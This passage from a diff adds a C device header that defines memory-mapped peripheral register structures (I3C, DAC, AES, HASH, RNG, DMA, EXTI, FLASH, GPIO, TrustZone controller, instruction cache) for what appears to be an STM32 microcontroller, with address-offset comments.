Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t RDR; /*!< I3C Received Data register, Address offset: 0x10 */ + __IO uint32_t RDWR; /*!< I3C Received Data Word register, Address offset: 0x14 */ + __IO uint32_t TDR; /*!< I3C Transmit Data register, Address offset: 0x18 */ + __IO uint32_t TDWR; /*!< I3C Transmit Data Word register, Address offset: 0x1C */ + __IO uint32_t IBIDR; /*!< I3C IBI payload Data register, Address offset: 0x20 */ + __IO uint32_t TGTTDR; /*!< I3C Target Transmit register, Address offset: 0x24 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x28-0x2C */ + __IO uint32_t SR; /*!< I3C Status register, Address offset: 0x30 */ + __IO uint32_t SER; /*!< I3C Status Error register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x38-0x3C */ + __IO uint32_t RMR; /*!< I3C Received Message register, Address offset: 0x40 */ + uint32_t RESERVED4[3]; /*!< Reserved, Address offset: 0x44-0x4C */ + __IO uint32_t EVR; /*!< I3C Event register, Address offset: 0x50 */ + __IO uint32_t IER; /*!< I3C Interrupt Enable register, Address offset: 0x54 */ + __IO uint32_t CEVR; /*!< I3C Clear Event register, Address offset: 0x58 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t DEVR0; /*!< I3C own Target characteristics register, Address offset: 0x60 */ + __IO uint32_t DEVRX[4]; /*!< I3C Target x (1<=x<=4) register, Address offset: 0x64-0x70 */ + uint32_t RESERVED6[7]; /*!< Reserved, Address offset: 0x74-0x8C */ + __IO uint32_t MAXRLR; /*!< I3C Maximum Read Length register, Address offset: 0x90 */ + __IO uint32_t MAXWLR; /*!< I3C Maximum Write Length register, Address offset: 0x94 */ + uint32_t RESERVED7[2]; /*!< Reserved, Address offset: 0x98-0x9C */ + __IO uint32_t TIMINGR0; /*!< I3C Timing 0 register, Address offset: 0xA0 */ + __IO uint32_t TIMINGR1; /*!< I3C Timing 1 register, Address offset: 0xA4 */ + __IO uint32_t TIMINGR2; /*!< I3C Timing 2 register, Address offset: 0xA8 */ + uint32_t RESERVED9[5]; /*!< Reserved, Address offset: 0xAC-0xBC */ + __IO uint32_t BCR; /*!< I3C Bus Characteristics register, Address offset: 0xC0 */ + __IO uint32_t DCR; /*!< I3C Device Characteristics register, Address offset: 0xC4 */ + __IO uint32_t GETCAPR; /*!< I3C GET CAPabilities register, Address offset: 0xC8 */ + __IO uint32_t CRCAPR; /*!< I3C Controller CAPabilities register, Address offset: 0xCC */ + __IO uint32_t GETMXDSR; /*!< I3C GET Max Data Speed register, Address offset: 0xD0 */ + __IO uint32_t EPIDR; /*!< I3C Extended Provisioned ID register, Address offset: 0xD4 */ +} I3C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[103]; /*!< HASH context swap registers, Address offset: 0x0F8-0x290 */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[16]; /*!< HASH digest registers, Address offset: 0x310-0x34C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2[54]; /*!< Reserved, 0x24 - 0xF8 */ + __IO uint32_t SR; /*!< Debug MCU SR register, Address offset: 0xFC */ + __IO uint32_t DBG_AUTH_HOST; /*!< Debug DBG_AUTH_HOST register, Address offset: 0x100 */ + __IO uint32_t DBG_AUTH_DEV; /*!< Debug DBG_AUTH_DEV register, Address offset: 0x104 */ + __IO uint32_t DBG_AUTH_ACK; /*!< Debug DBG_AUTH_ACK register, Address offset: 0x108 */ + uint32_t RESERVED3[945]; /*!< Reserved, 0x10C - 0xFCC */ + __IO uint32_t PIDR4; /*!< Debug MCU Peripheral ID register 4, Address offset: 0xFD0 */ + __IO uint32_t PIDR5; /*!< Debug MCU Peripheral ID register 5, Address offset: 0xFD4 */ + __IO uint32_t PIDR6; /*!< Debug MCU Peripheral ID register 6, Address offset: 0xFD8 */ + __IO uint32_t PIDR7; /*!< Debug MCU Peripheral ID register 7, Address offset: 0xFDC */ + __IO uint32_t PIDR0; /*!< Debug MCU Peripheral ID register 0, Address offset: 0xFE0 */ + __IO uint32_t PIDR1; /*!< Debug MCU Peripheral ID register 1, Address offset: 0xFE4 */ + __IO uint32_t PIDR2; /*!< Debug MCU Peripheral ID register 2, Address offset: 0xFE8 */ + __IO uint32_t PIDR3; /*!< Debug MCU Peripheral ID register 3, Address offset: 0xFEC */ + __IO uint32_t CIDR0; /*!< Debug MCU Component ID register 0, Address offset: 0xFF0 */ + __IO uint32_t CIDR1; /*!< Debug MCU Component ID register 1, Address offset: 0xFF4 */ + __IO uint32_t CIDR2; /*!< Debug MCU Component ID register 2, Address offset: 0xFF8 */ + __IO uint32_t CIDR3; /*!< Debug MCU Component ID register 3, Address offset: 0xFFC */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1; /*!< Reserved 1, Address offset: 0x1C */ + __IO uint32_t RTSR2; /*!< EXTI Rising Trigger Selection Register 2, Address offset: 0x20 */ + __IO uint32_t FTSR2; /*!< EXTI Falling Trigger Selection Register 2, Address offset: 0x24 */ + __IO uint32_t SWIER2; /*!< EXTI Software Interrupt event Register 2, Address offset: 0x28 */ + __IO uint32_t RPR2; /*!< EXTI Rising Pending Register 2, Address offset: 0x2C */ + __IO uint32_t FPR2; /*!< EXTI Falling Pending Register 2, Address offset: 0x30 */ + __IO uint32_t SECCFGR2; /*!< EXTI Security Configuration Register 2, Address offset: 0x34 */ + __IO uint32_t PRIVCFGR2; /*!< EXTI Privilege Configuration Register 2, Address offset: 0x38 */ + uint32_t RESERVED2[9]; /*!< Reserved 2, 0x3C-- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED3[3]; /*!< Reserved 3, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ + uint32_t RESERVED4[2]; /*!< Reserved 4, 0x88 -- 0x8C */ + __IO uint32_t IMR2; /*!< EXTI Interrupt Mask Register 2, Address offset: 0x90 */ + __IO uint32_t EMR2; /*!< EXTI Event Mask Register 2, Address offset: 0x94 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x04 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x08 */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x0C */ + __IO uint32_t NSOBKKEYR; /*!< FLASH non-secure option bytes keys key register, Address offset: 0x10 */ + __IO uint32_t SECOBKKEYR; /*!< FLASH secure option bytes keys key register, Address offset: 0x14 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x18 */ + __IO uint32_t OPTCR; /*!< Flash Option Control Register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t NSCCR; /*!< FLASH non-secure clear control register, Address offset: 0x30 */ + __IO uint32_t SECCCR; /*!< FLASH secure clear control register, Address offset: 0x34 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x38 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0x3C */ + __IO uint32_t NSOBKCFGR; /*!< FLASH non-secure option byte key configuration register, Address offset: 0x40 */ + __IO uint32_t SECOBKCFGR; /*!< FLASH secure option byte key configuration register, Address offset: 0x44 */ + __IO uint32_t HDPEXTR; /*!< FLASH HDP extension register, Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x4C */ + __IO uint32_t OPTSR_CUR; /*!< FLASH option status current register, Address offset: 0x50 */ + __IO uint32_t OPTSR_PRG; /*!< FLASH option status to program register, Address offset: 0x54 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x58-0x5C */ + __IO uint32_t NSEPOCHR_CUR; /*!< FLASH non-secure epoch current register, Address offset: 0x60 */ + __IO uint32_t NSEPOCHR_PRG; /*!< FLASH non-secure epoch to program register, Address offset: 0x64 */ + __IO uint32_t SECEPOCHR_CUR; /*!< FLASH secure epoch current register, Address offset: 0x68 */ + __IO uint32_t SECEPOCHR_PRG; /*!< FLASH secure epoch to program register, Address offset: 0x6C */ + __IO uint32_t OPTSR2_CUR; /*!< FLASH option status current register 2, Address offset: 0x70 */ + __IO uint32_t OPTSR2_PRG; /*!< FLASH option status to program register 2, Address offset: 0x74 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x78-0x7C */ + __IO uint32_t NSBOOTR_CUR; /*!< FLASH non-secure unique boot entry current register, Address offset: 0x80 */ + __IO uint32_t NSBOOTR_PRG; /*!< FLASH non-secure unique boot entry to program register, Address offset: 0x84 */ + __IO uint32_t SECBOOTR_CUR; /*!< FLASH secure unique boot entry current register, Address offset: 0x88 */ + __IO uint32_t SECBOOTR_PRG; /*!< FLASH secure unique boot entry to program register, Address offset: 0x8C */ + __IO uint32_t OTPBLR_CUR; /*!< FLASH OTP block lock current register, Address offset: 0x90 */ + __IO uint32_t OTPBLR_PRG; /*!< FLASH OTP block Lock to program register, Address offset: 0x94 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x98-0x9C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0xA0 */ + uint32_t RESERVED6[7]; /*!< Reserved6, Address offset: 0xA4-0xBF */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xC0 */ + uint32_t RESERVED7[7]; /*!< Reserved7, Address offset: 0xC4-0xDC */ + __IO uint32_t SECWM1R_CUR; /*!< FLASH secure watermark 1 current register, Address offset: 0xE0 */ + __IO uint32_t SECWM1R_PRG; /*!< FLASH secure watermark 1 to program register, Address offset: 0xE4 */ + __IO uint32_t WRP1R_CUR; /*!< FLASH write sector group protection current register for bank1, Address offset: 0xE8 */ + __IO uint32_t WRP1R_PRG; /*!< FLASH write sector group protection to program register for bank1, Address offset: 0xEC */ + __IO uint32_t EDATA1R_CUR; /*!< FLASH data sectors configuration current register for bank1, Address offset: 0xF0 */ + __IO uint32_t EDATA1R_PRG; /*!< FLASH data sectors configuration to program register for bank1, Address offset: 0xF4 */ + __IO uint32_t HDP1R_CUR; /*!< FLASH HDP configuration current register for bank1, Address offset: 0xF8 */ + __IO uint32_t HDP1R_PRG; /*!< FLASH HDP configuration to program register for bank1, Address offset: 0xFC */ + __IO uint32_t ECCCORR; /*!< FLASH ECC correction register, Address offset: 0x100 */ + __IO uint32_t ECCDETR; /*!< FLASH ECC detection register, Address offset: 0x104 */ + __IO uint32_t ECCDR; /*!< FLASH ECC data register, Address offset: 0x108 */ + uint32_t RESERVED8[37]; /*!< Reserved8, Address offset: 0x10C-0x19C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0x1A0 */ + uint32_t RESERVED9[7]; /*!< Reserved9, Address offset: 0x1A4-0x1BF */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0x1C0 */ + uint32_t RESERVED10[7]; /*!< Reserved10, Address offset: 0x1C4-0x1DC */ + __IO uint32_t SECWM2R_CUR; /*!< FLASH secure watermark 2 current register, Address offset: 0x1E0 */ + __IO uint32_t SECWM2R_PRG; /*!< FLASH secure watermark 2 to program register, Address offset: 0x1E4 */ + __IO uint32_t WRP2R_CUR; /*!< FLASH write sector group protection current register for bank2, Address offset: 0x1E8 */ + __IO uint32_t WRP2R_PRG; /*!< FLASH write sector group protection to program register for bank2, Address offset: 0x1EC */ + __IO uint32_t EDATA2R_CUR; /*!< FLASH data sectors configuration current register for bank2, Address offset: 0x1F0 */ + __IO uint32_t EDATA2R_PRG; /*!< FLASH data sectors configuration to program register for bank2, Address offset: 0x1F4 */ + __IO uint32_t HDP2R_CUR; /*!< FLASH HDP configuration current register for bank2, Address offset: 0x1F8 */ + __IO uint32_t HDP2R_PRG; /*!< FLASH HDP configuration to program register for bank2, Address offset: 0x1FC */ +} FLASH_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + __IO uint32_t MPCWM3BCFGR; /*!< TZSC memory 3 sub-region B watermark configuration register, Address offset: 0x68 */ + __IO uint32_t MPCWM3BR; /*!< TZSC memory 3 sub-region B watermark register, Address offset: 0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + __IO uint32_t MPCWM4BCFGR; /*!< TZSC memory 4 sub-region B watermark configuration register, Address offset: 0x78 */ + __IO uint32_t MPCWM4BR; /*!< TZSC memory 4 sub-region B watermark register, Address offset: 0x7c */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x17C */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x1FC */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration 